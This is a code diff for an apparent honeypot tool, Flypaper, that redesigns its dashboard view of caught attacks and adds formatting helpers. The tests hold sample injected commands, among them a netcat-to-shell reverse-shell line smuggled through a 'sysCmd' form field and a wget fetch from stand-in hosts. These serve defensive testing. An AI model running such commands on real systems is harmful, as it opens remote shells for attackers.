diff --git a/CHANGELOG.md b/CHANGELOG.md index d7177f2..969652e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,17 @@ All notable changes to Flypaper are documented in this file. The format follows ## [Unreleased] +## [0.11.1] - 2026-11-27 + +### Changed + +- Dashboard catch list: opened rows show a full-width detail area: the explanation in plain language first, for + commands the facts „Angreifer“, „Fremder Server“ and „Befehl“, then collapsed „Technische Details“ (full + request URL, origin, user agent, recorded headers and body). The list shows only method and path (without + the requested host); commands are marked with „⚠“. Commands and servers are no longer defanged in the + dashboard (still plain text, never links); MCP `list_commands` stays defanged. +- The filter bar of the catch list fits the filter „Befehl“ into one row. + ## [0.11.0] - 2026-11-27 ### Added @@ -289,7 +300,8 @@ First release. - Unraid Docker template; when started as root, the container hands `/data` to its app user and drops privileges. -[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.0...main +[Unreleased]: https://gitea.anticarnist.de/Tom/Flypaper/compare/v0.11.1...main +[0.11.1]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.1 [0.11.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.11.0 [0.10.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.10.0 [0.9.0]: https://gitea.anticarnist.de/Tom/Flypaper/releases/tag/v0.9.0 diff --git a/src/Flypaper.Web/Components/Pages/Dashboard/DashboardPage.razor b/src/Flypaper.Web/Components/Pages/Dashboard/DashboardPage.razor index b07604f..9b720e6 100644 --- a/src/Flypaper.Web/Components/Pages/Dashboard/DashboardPage.razor +++ b/src/Flypaper.Web/Components/Pages/Dashboard/DashboardPage.razor @@ -3,7 +3,6 @@ @using Flypaper.Core.Models @using Flypaper.Http @using Microsoft.Extensions.Options -@using Flypaper.Core.Analysis @using Flypaper.Storage.Dashboard @using Flypaper.Storage.Queries @using Flypaper.Storage.Entities @@ -122,8 +121,8 @@ Zuletzt - Zielserver - Befehl (entschärft) + Fremder Server + Befehl Letzte Angreifer-IP Fänge IPs @@ -135,8 +134,8 @@ var last = command.LastSeen.ToLocalTime(); @last.ToString("dd.MM. HH:mm") - @(command.Server is { } server ? Defang.Server(server) : "–") - @Defang.Text(command.Command) + @(command.Server is { } server ? Formatting.Server(server) : "–") + @Formatting.CommandParts(command.Command).Command @command.LastIp @Formatting.Number(command.Catches) @Formatting.Number(command.Ips) @@ -312,26 +311,20 @@ @if (trapEvent.Command is not null) { - ⚠ Befehl + ⚠ } - @target - @if (trapEvent.Command is { } injected) - { -
- ⚠ Befehl erkannt (entschärft) -
@Defang.Text(injected)
- @if (trapEvent.CommandServer is { } commandServer) - { -
Zielserver: @Defang.Server(commandServer)
- } -
- } -
Provider: @(provider ?? "–")
-
User-Agent: @(trapEvent.ClientInfo ?? "–")
-
Herkunft: @(trapEvent.CountryCode is { } code ? $"{Formatting.Flag(code)} {code} · {Origin(trapEvent)}" : "–")
-
Dauer: @duration · Bytes: @bytes
-
- Was ist passiert? + @Formatting.RequestPath(trapEvent.Target) + + @strategy.DisplayName@foreach (var badge in strategy.Badges){@badge} + @trapEvent.ClientInfo + @duration + @bytes + @OutcomeLabel(trapEvent.Outcome) + + + +
+

@(trapEvent.Command is null ? "Was ist passiert?" : "⚠ Angriff mit Befehl")

@if (explanation.Target is { } targetRule) {

@targetRule.Text

@@ -348,22 +341,56 @@ {

@outcomeRule.Text

} + @if (trapEvent.Command is { } command) + { + var (field, text) = Formatting.CommandParts(command); +
+
Angreifer
+
@trapEvent.RemoteIp@(provider is null ? "" : $" · {provider}")@(trapEvent.CountryCode is null ? "" : $" · {Origin(trapEvent)}")
+ @if (trapEvent.CommandServer is { } server) + { +
Fremder Server
+
@Formatting.Server(server)
+ } +
Befehl
+
+ @text + @if (field is not null) + { + eingeschleust über das Feld „@field“ + } +
+
+ } +
+ Technische Details +
+
Anfrage
+
@target
+
Zeit
+
@started.ToString("dd.MM.yyyy HH:mm:ss")
+
Herkunft
+
@(trapEvent.CountryCode is { } code ? $"{Formatting.Flag(code)} {Origin(trapEvent)}" : "–")
+
Provider
+
@(provider ?? "–")
+
User-Agent
+
@(trapEvent.ClientInfo ?? "–")
+
Strategie
+
@strategy.DisplayName
+
Verlauf
+
@duration · @bytes Byte · @OutcomeLabel(trapEvent.Outcome)
+
+ @if (recent.WithRequest.Contains(trapEvent.Id)) + { +
+ Gesendete Anfrage + · vom Angreifer geschrieben +
Wird geladen …
+
+ } +
- @if (recent.WithRequest.Contains(trapEvent.Id)) - { -
- Gesendete Anfrage - · vom Angreifer geschrieben -
Wird geladen …
-
- } -
Datum: @started.ToString("dd.MM.yyyy") · Ausgang: @OutcomeLabel(trapEvent.Outcome)
- @strategy.DisplayName@foreach (var badge in strategy.Badges){@badge} - @trapEvent.ClientInfo - @duration - @bytes - @OutcomeLabel(trapEvent.Outcome) } diff --git a/src/Flypaper.Web/Components/Shared/Formatting.cs b/src/Flypaper.Web/Components/Shared/Formatting.cs index 1880cba..45790f9 100644 --- a/src/Flypaper.Web/Components/Shared/Formatting.cs +++ b/src/Flypaper.Web/Components/Shared/Formatting.cs @@ -1,8 +1,9 @@ using System.Globalization; +using System.Text.RegularExpressions; namespace Flypaper.Web.Components.Shared; -public static class Formatting +public static partial class Formatting { public static readonly CultureInfo German = CultureInfo.GetCultureInfo("de-DE"); @@ -49,5 +50,29 @@ public static class Formatting : target; } + public static string? RequestPath(string? target) + { + var space = target?.IndexOf(' ') ?? -1; + var slash = space < 0 ? -1 : target!.IndexOf('/', space); + return slash < 0 ? target : $"{target![..space]} {target[slash..]}"; + } + + public static string Server(string server) + { + var colon = server.LastIndexOf(':'); + return colon > 0 && server.AsSpan(colon + 1) is { Length: > 0 } port && !port.ContainsAnyExceptInRange('0', '9') + ? $"{server[..colon]}, Port {port}" + : server; + } + + public static (string? Field, string Command) CommandParts(string command) + { + var match = FormField().Match(command); + return match.Success ? (match.Groups[1].Value, command[match.Length..]) : (null, command); + } + + [GeneratedRegex(@"^([A-Za-z_][A-Za-z0-9_.-]{0,39})=(?!=)")] + private static partial Regex FormField(); + public static string? Provider(long? asn, string? provider) => asn is null ? provider : $"AS{asn} {provider}".TrimEnd(); } diff --git a/src/Flypaper.Web/wwwroot/app.css b/src/Flypaper.Web/wwwroot/app.css index 1395720..d5dae0d 100644 --- a/src/Flypaper.Web/wwwroot/app.css +++ b/src/Flypaper.Web/wwwroot/app.css @@ -335,7 +335,7 @@ code { .filters { display: grid; - grid-template-columns: minmax(110px, 140px) minmax(120px, 150px) minmax(160px, 230px) minmax(180px, 1fr) auto; + grid-template-columns: minmax(90px, 120px) minmax(100px, 140px) minmax(110px, 180px) minmax(100px, 150px) minmax(100px, 150px) minmax(150px, 1fr) auto; gap: 10px; align-items: end; margin-bottom: 12px; @@ -463,10 +463,6 @@ a.button:hover { white-space: nowrap; } -.recent-table tr.open .extra-all { - display: block; -} - .recent-table .c-time { width: 116px; } @@ -495,24 +491,12 @@ a.button:hover { width: 190px; } -.recent-table .extra { - display: none; - margin-top: 4px; - color: var(--muted); - font-family: system-ui, -apple-system, "Segoe UI", Roboto, sans-serif; - font-size: 12px; -} - @media (max-width: 1199px) { .recent-table .c-provider, .recent-table .c-strategy, .recent-table .c-agent { display: none; } - - .recent-table tr.open .extra-md { - display: block; - } } @media (max-width: 899px) { @@ -521,10 +505,6 @@ a.button:hover { .recent-table .c-bytes { display: none; } - - .recent-table tr.open .extra-sm { - display: block; - } } @media (max-width: 599px) { @@ -540,10 +520,6 @@ a.button:hover { .recent-table .c-ip { width: 120px; } - - .recent-table tr.open .extra-xs { - display: block; - } } .scroll { @@ -1646,37 +1622,6 @@ button.danger-text { gap: 6px; } -.recent-table .explain { - color: var(--text); - white-space: normal; -} - -.recent-table .explain p { - margin: 2px 0 0; -} - -.recent-table .explain .muted { - color: var(--muted); -} - -.recent-table .request { - color: var(--text); - white-space: normal; - cursor: auto; -} - -.recent-table .request .muted { - color: var(--muted); -} - -.recent-table .request pre { - margin: 2px 0 6px; - max-height: 18em; - overflow: auto; - white-space: pre-wrap; - overflow-wrap: anywhere; -} - .command-card .card-head a { text-decoration: none; } @@ -1690,16 +1635,90 @@ button.danger-text { overflow-wrap: anywhere; } -.command-badge { - margin: 0 6px 0 0; - border: 1px solid currentColor; +.command-mark { + margin-right: 6px; color: var(--accent); - font-family: inherit; } -.recent-table .command-found { - color: var(--text); +.recent-table .detail-row td { + overflow: visible; white-space: normal; + padding: 4px 8px 16px; + background: color-mix(in srgb, var(--text) 4%, transparent); +} + +.catch-detail { + max-width: 62rem; + overflow-wrap: anywhere; +} + +.catch-detail h3 { + margin: 10px 0 6px; + font-size: 15px; +} + +.catch-detail h3.alert { + color: var(--accent); +} + +.catch-detail p { + margin: 0 0 4px; + font-size: 14px; + line-height: 1.5; +} + +.catch-detail .facts { + display: grid; + grid-template-columns: max-content minmax(0, 1fr); + gap: 6px 16px; + margin: 12px 0; +} + +.catch-detail .facts dt { + color: var(--muted); +} + +.catch-detail .facts dd { + margin: 0; +} + +.catch-detail code { + display: inline-block; + margin-right: 10px; + padding: 2px 8px; + border: 1px solid var(--border); + border-radius: 4px; + background: var(--surface); + white-space: pre-wrap; +} + +.catch-detail summary { + margin-top: 8px; + color: var(--muted); + cursor: pointer; +} + +.catch-detail .request pre { + margin: 2px 0 8px; + padding: 8px 10px; + max-height: 18em; + overflow: auto; + border: 1px solid var(--border); + border-radius: 4px; + background: var(--surface); + font-size: 12px; + white-space: pre-wrap; +} + +@media (max-width: 599px) { + .catch-detail .facts { + grid-template-columns: minmax(0, 1fr); + gap: 2px; + } + + .catch-detail .facts dd { + margin-bottom: 8px; + } } .inline-form { diff --git a/src/Flypaper.Web/wwwroot/dashboard.js b/src/Flypaper.Web/wwwroot/dashboard.js index 4c87272..db2c3aa 100644 --- a/src/Flypaper.Web/wwwroot/dashboard.js +++ b/src/Flypaper.Web/wwwroot/dashboard.js @@ -11,7 +11,7 @@ }; const showRequest = async row => { - const holder = row.querySelector("[data-request]"); + const holder = row.nextElementSibling?.querySelector("[data-request]"); if (!holder || holder.dataset.loaded) { return; } @@ -51,6 +51,16 @@ } }; + const fitDetail = row => { + const headers = row.closest("table")?.tHead?.rows[0].cells; + const cell = row.nextElementSibling?.cells[0]; + if (headers && cell) { + cell.colSpan = [...headers].filter(header => header.offsetParent !== null).length || headers.length; + } + }; + + globalThis.addEventListener?.("resize", () => document.querySelectorAll("tr[data-expand]").forEach(fitDetail)); + const stored = load(); const expanded = new Set(); @@ -60,6 +70,11 @@ const apply = open => { row.classList.toggle("open", open); row.setAttribute("aria-expanded", String(open)); + const detail = row.nextElementSibling; + if (detail) { + detail.hidden = !open; + fitDetail(row); + } open ? expanded.add(key) : expanded.delete(key); if (open) { showRequest(row); @@ -73,8 +88,8 @@ apply(stored.has(key)); - row.addEventListener("click", event => { - if (event.target.closest("[data-request]") || !window.getSelection()?.isCollapsed) { + row.addEventListener("click", () => { + if (!window.getSelection()?.isCollapsed) { return; } toggle(); @@ -88,6 +103,19 @@ }); } + for (const details of document.querySelectorAll("details[data-remember]")) { + const key = details.dataset.remember; + if (stored.has(key)) { + details.open = true; + expanded.add(key); + } + + details.addEventListener("toggle", () => { + details.open ? expanded.add(key) : expanded.delete(key); + save(expanded); + }); + } + save(expanded); })(); diff --git a/test/Flypaper.Tests/Web/FormattingTests.cs b/test/Flypaper.Tests/Web/FormattingTests.cs index b64922c..76dccc2 100644 --- a/test/Flypaper.Tests/Web/FormattingTests.cs +++ b/test/Flypaper.Tests/Web/FormattingTests.cs @@ -14,4 +14,22 @@ public sealed class FormattingTests [InlineData(null, null)] public void Shows_missing_host_explicitly(string? target, string? expected) => Formatting.Target(target).ShouldBe(expected); + + [Theory] + [InlineData("POST 192.0.2.1/boaform/admin/formSysCmd", "POST /boaform/admin/formSysCmd")] + [InlineData("GET example.com:8080/?a=/b", "GET /?a=/b")] + [InlineData("GET /x", "GET /x")] + public void Shows_the_request_path_without_the_host(string target, string expected) => + Formatting.RequestPath(target).ShouldBe(expected); + + [Theory] + [InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")] + [InlineData("bad.example", "bad.example")] + public void Names_the_port_of_a_server(string server, string expected) => Formatting.Server(server).ShouldBe(expected); + + [Theory] + [InlineData("sysCmd=nc 192.0.2.7 4545|sh", "sysCmd", "nc 192.0.2.7 4545|sh")] + [InlineData("wget http://192.0.2.9/a?x=1", null, "wget http://192.0.2.9/a?x=1")] + public void Splits_the_form_field_from_the_command(string command, string? field, string text) => + Formatting.CommandParts(command).ShouldBe((field, text)); } diff --git a/test/Flypaper.Tests/Web/RequestViewTests.cs b/test/Flypaper.Tests/Web/RequestViewTests.cs index f79bef9..14d6286 100644 --- a/test/Flypaper.Tests/Web/RequestViewTests.cs +++ b/test/Flypaper.Tests/Web/RequestViewTests.cs @@ -46,8 +46,10 @@ public sealed partial class RequestViewTests : IDisposable var page = await client.GetStringAsync("/"); page.ShouldContain("Eingeschleuste Befehle"); - page.ShouldContain("192[.]0[.]2[.]7:4545"); - page.ShouldNotContain("192.0.2.7"); + page.ShouldContain("192.0.2.7, Port 4545"); + page.ShouldContain("Fremder Server"); + page.ShouldContain("nc 192.0.2.7 4545|sh"); + page.ShouldContain("eingeschleust über das Feld"); (await client.GetStringAsync("/?befehl=ja")).ShouldContain($"event:{withCommand}"); page.ShouldContain($"data-request=\"catches/{withRequest}/request\""); page.ShouldNotContain("");